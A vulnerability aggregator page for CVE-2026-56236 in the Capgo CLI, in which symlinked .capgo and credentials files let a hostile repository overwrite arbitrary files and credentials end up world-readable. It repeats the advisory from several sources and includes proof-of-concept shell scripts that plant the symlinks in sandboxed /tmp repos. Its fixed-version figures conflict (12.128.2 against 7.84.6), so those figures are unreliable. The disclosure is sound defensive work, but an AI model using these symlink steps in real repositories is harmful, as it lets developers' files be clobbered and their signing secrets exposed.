CVE-2026-56236
Capgo CLI - Arbitrary File Overwrite via Symlink-Following in Local Credential Operations
Capgo CLI before 12.128.2 contains arbitrary file overwrite vulnerabilities in login and build credentials operations that follow symlinks without validation. Attackers can create malicious symlinks in repositories to overwrite arbitrary files or expose credentials with world-readable permissions when developers run the CLI.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Active
What an attacker can affect
- Confidentiality
- Low
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.8
Capgo CLI - Arbitrary File Overwrite via Symlink-Following in Local Credential Operations
Capgo CLI before 12.128.2 contains arbitrary file overwrite vulnerabilities in login and build credentials operations that follow symlinks without validation. Attackers can create malicious symlinks in repositories to overwrite arbitrary files or expose credentials with world-readable permissions when developers run the CLI.
- Record
CVE-2026-56236- CVSS 4.0
- 6.8 Medium
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N - Weakness
- CWE-59
- Updated
- 2026-11-02
EUVDEUVD-2026-38165
6.8
Capgo CLI before 12.128.2 contains arbitrary file overwrite vulnerabilities in login and build credentials operations that follow symlinks without validation. Attackers can create malicious symlinks in repositories to overwrite arbitrary files or expose credentials with world-readable permissions when developers run the CLI.
- Record
EUVD-2026-38165- CVSS 4.0
- 6.8 Medium
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-4ch8-prch-6prf
6.8
Capgo CLI before 12.128.2 contains arbitrary file overwrite vulnerabilities in login and build...
Capgo CLI before 12.128.2 contains arbitrary file overwrite vulnerabilities in login and build credentials operations that follow symlinks without validation. Attackers can create malicious symlinks in repositories to overwrite arbitrary files or expose credentials with world-readable permissions when developers run the CLI.
- Record
GHSA-4ch8-prch-6prf- CVSS 4.0
- 6.8 Medium
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N - Weakness
- CWE-59
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-8mpm-q7mh-8fvh
8.6
Capgo CLI: symlink-following local secret writes enable arbitrary file overwrite + world-readable credentials (0600 missing)
Summary
The Capgo CLI writes sensitive local files (.capgo API key file and build credentials JSON) using unsafe file operations that follow symlinks and do not enforce safe permissions. This allows an attacker-controlled repository to cause arbitrary file overwrite on the developer’s machine when the developer runs the CLI inside that repo. Additionally, global build credentials are written with world-readable permissions (664), exposing signing materials on shared systems.
Details
Issue 1 - Arbitrary file overwrite via .capgo symlink (login --local)
- Location: src/login.ts
- Behavior: loginInternal(..., { local: true }) performs writeFileSync('.capgo', ...) before validating the API key with verifyUser().
- No checks are performed to prevent writing through a symlink.
- Result: if .capgo is a symlink to an arbitrary path, the CLI overwrites the symlink target with attacker-controlled content (the provided API key string), even when login fails.
Issue 2 - Arbitrary file overwrite via .capgo-credentials.json symlink (build credentials save --local)
- Location: src/build/credentials.ts (local path is join(cwd(), '.capgo-credentials.json'))
- Behavior: credentials are written using writeFile() without checking whether the destination is a symlink.
- Result: if .capgo-credentials.json is a symlink to an arbitrary path, the CLI overwrites the symlink target with attacker-controlled JSON (including base64-encoded credential material). This occurs even if the user is not logged in / no API key exists.
Issue 3 - Insecure default permissions for global credentials
- Location: src/build/credentials.ts (global path $HOME/.capgo-credentials/credentials.json)
- Observed permissions after save: -rw-rw-r-- (664)
- Impact: credentials file contains sensitive signing material (e.g., Android keystore + Play config; iOS cert/profile/API key in other flows). World/group readability is unsafe on shared hosts and CI runners. Expected minimum: file 0600, directory 0700.
PoC
PoC A: .capgo symlink clobber (writes even when API key invalid)
set -euo pipefail
BASE="/tmp/capgo_cli_poc_$(date +%s)"
HOME_SANDBOX="$BASE/home"
REPO="$BASE/repo"
TARGET="$BASE/clobbered.txt"
mkdir -p "$HOME_SANDBOX" "$REPO"
cd "$REPO"
git init -q
ln -s "$TARGET" .capgo
# This should fail auth, but still overwrites TARGET
HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] login "INVALID_KEY_SHOULD_FAIL" --local || true
echo "== TARGET content =="
cat "$TARGET"
Expected: On invalid key, nothing is written; .capgo should never follow symlinks. Observed: TARGET contains INVALID_KEY_SHOULD_FAIL.
PoC B: .capgo-credentials.json symlink clobber (no login required)
set -euo pipefail
BASE="/tmp/capgo_creds_symlink_$(date +%s)"
HOME_SANDBOX="$BASE/home"
REPO="$BASE/repo"
TARGET="$BASE/clobbered_creds.txt"
mkdir -p "$HOME_SANDBOX" "$REPO"
cd "$REPO"
git init -q
ln -s "$TARGET" .capgo-credentials.json
HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] build credentials save \
--local --platform android --appId com.example.app \
--keystore /etc/hosts --keystore-alias x --keystore-key-password x --play-config /etc/hosts || true
echo "== TARGET exists and contains JSON written via symlink =="
ls -la "$TARGET" || true
cat "$TARGET" || true
Expected: Refuse to write if destination is symlink; ideally require safe location and permissions. Observed: TARGET is created/overwritten with credentials JSON.
PoC C: global credentials permissions are world-readable
set -euo pipefail
BASE="/tmp/capgo_creds_perm_$(date +%s)"
HOME_SANDBOX="$BASE/home"
mkdir -p "$HOME_SANDBOX"
HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] build credentials save \
--platform android --appId com.example.app \
--keystore /etc/hosts --keystore-alias x --keystore-key-password x --play-config /etc/hosts || true
CREDS="$HOME_SANDBOX/.capgo-credentials/credentials.json"
ls -la "$CREDS" || true
stat -c '%a %U:%G %n' "$CREDS" || true
_Observed: credentials.json…
- Record
GHSA-8mpm-q7mh-8fvh- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-59, CWE-276, CWE-377
- Updated
- 2026-11-02
NVD
6.8
Capgo CLI before 12.128.2 contains arbitrary file overwrite vulnerabilities in login and build credentials operations that follow symlinks without validation. Attackers can create malicious symlinks in repositories to overwrite arbitrary files or expose credentials with world-readable permissions when developers run the CLI.
- Record
CVE-2026-56236- CVSS 4.0
- 6.8 Medium
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N - Weakness
- CWE-59
- Updated
- 2026-11-02
OSV
6.8
Capgo CLI - Arbitrary File Overwrite via Symlink-Following in Local Credential Operations
Capgo CLI before 12.128.2 contains arbitrary file overwrite vulnerabilities in login and build credentials operations that follow symlinks without validation. Attackers can create malicious symlinks in repositories to overwrite arbitrary files or expose credentials with world-readable permissions when developers run the CLI.
- Record
CVE-2026-56236- CVSS 4.0
- 6.8 Medium
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-59
- Updated
- 2026-11-02
OSVGHSA-8mpm-q7mh-8fvh
8.6
Capgo CLI: symlink-following local secret writes enable arbitrary file overwrite + world-readable credentials (0600 missing)
Summary
The Capgo CLI writes sensitive local files (.capgo API key file and build credentials JSON) using unsafe file operations that follow symlinks and do not enforce safe permissions. This allows an attacker-controlled repository to cause arbitrary file overwrite on the developer’s machine when the developer runs the CLI inside that repo. Additionally, global build credentials are written with world-readable permissions (664), exposing signing materials on shared systems.
Details
Issue 1 - Arbitrary file overwrite via .capgo symlink (login --local)
- Location: src/login.ts
- Behavior: loginInternal(..., { local: true }) performs writeFileSync('.capgo', ...) before validating the API key with verifyUser().
- No checks are performed to prevent writing through a symlink.
- Result: if .capgo is a symlink to an arbitrary path, the CLI overwrites the symlink target with attacker-controlled content (the provided API key string), even when login fails.
Issue 2 - Arbitrary file overwrite via .capgo-credentials.json symlink (build credentials save --local)
- Location: src/build/credentials.ts (local path is join(cwd(), '.capgo-credentials.json'))
- Behavior: credentials are written using writeFile() without checking whether the destination is a symlink.
- Result: if .capgo-credentials.json is a symlink to an arbitrary path, the CLI overwrites the symlink target with attacker-controlled JSON (including base64-encoded credential material). This occurs even if the user is not logged in / no API key exists.
Issue 3 - Insecure default permissions for global credentials
- Location: src/build/credentials.ts (global path $HOME/.capgo-credentials/credentials.json)
- Observed permissions after save: -rw-rw-r-- (664)
- Impact: credentials file contains sensitive signing material (e.g., Android keystore + Play config; iOS cert/profile/API key in other flows). World/group readability is unsafe on shared hosts and CI runners. Expected minimum: file 0600, directory 0700.
PoC
PoC A: .capgo symlink clobber (writes even when API key invalid)
set -euo pipefail
BASE="/tmp/capgo_cli_poc_$(date +%s)"
HOME_SANDBOX="$BASE/home"
REPO="$BASE/repo"
TARGET="$BASE/clobbered.txt"
mkdir -p "$HOME_SANDBOX" "$REPO"
cd "$REPO"
git init -q
ln -s "$TARGET" .capgo
# This should fail auth, but still overwrites TARGET
HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] login "INVALID_KEY_SHOULD_FAIL" --local || true
echo "== TARGET content =="
cat "$TARGET"
Expected: On invalid key, nothing is written; .capgo should never follow symlinks. Observed: TARGET contains INVALID_KEY_SHOULD_FAIL.
PoC B: .capgo-credentials.json symlink clobber (no login required)
set -euo pipefail
BASE="/tmp/capgo_creds_symlink_$(date +%s)"
HOME_SANDBOX="$BASE/home"
REPO="$BASE/repo"
TARGET="$BASE/clobbered_creds.txt"
mkdir -p "$HOME_SANDBOX" "$REPO"
cd "$REPO"
git init -q
ln -s "$TARGET" .capgo-credentials.json
HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] build credentials save \
--local --platform android --appId com.example.app \
--keystore /etc/hosts --keystore-alias x --keystore-key-password x --play-config /etc/hosts || true
echo "== TARGET exists and contains JSON written via symlink =="
ls -la "$TARGET" || true
cat "$TARGET" || true
Expected: Refuse to write if destination is symlink; ideally require safe location and permissions. Observed: TARGET is created/overwritten with credentials JSON.
PoC C: global credentials permissions are world-readable
set -euo pipefail
BASE="/tmp/capgo_creds_perm_$(date +%s)"
HOME_SANDBOX="$BASE/home"
mkdir -p "$HOME_SANDBOX"
HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] build credentials save \
--platform android --appId com.example.app \
--keystore /etc/hosts --keystore-alias x --keystore-key-password x --play-config /etc/hosts || true
CREDS="$HOME_SANDBOX/.capgo-credentials/credentials.json"
ls -la "$CREDS" || true
stat -c '%a %U:%G %n' "$CREDS" || true
_Observed: credentials.json…
- Record
GHSA-8mpm-q7mh-8fvh- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-276, CWE-377, CWE-59
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@capgo/clinpm |
before 7.84.6 | 7.84.6 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-56236 is a medium vulnerability (CVSS 6.8) in Capgo Cli, published March 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.18%, the 7th percentile. Fixed in @capgo/cli 7.84.6.
References
github.com/Cap-go/capgo/security/advisories/GHSA-8mpm-q7mh-8fvh
vulncheck.com/advisories/capgo-cli-arbitrary-file-overwrite-via-symlink-following-in-local-credential-operations
nvd.nist.gov/vuln/detail/CVE-2026-56236
github.com/advisories/GHSA-4ch8-prch-6prf
github.com/Cap-go/CLI/commit/b8aa5ccbfad2d7f10f3cdbc00910d4a6aab026b2
github.com/advisories/GHSA-8mpm-q7mh-8fvh
github.com/CVEProject/cvelistV5/tree/main/cves/2026/56xxx/CVE-2026-56236.json
github.com/Cap-go/capgo
Left out here: the rest of 2 source descriptions. The JSON record has them.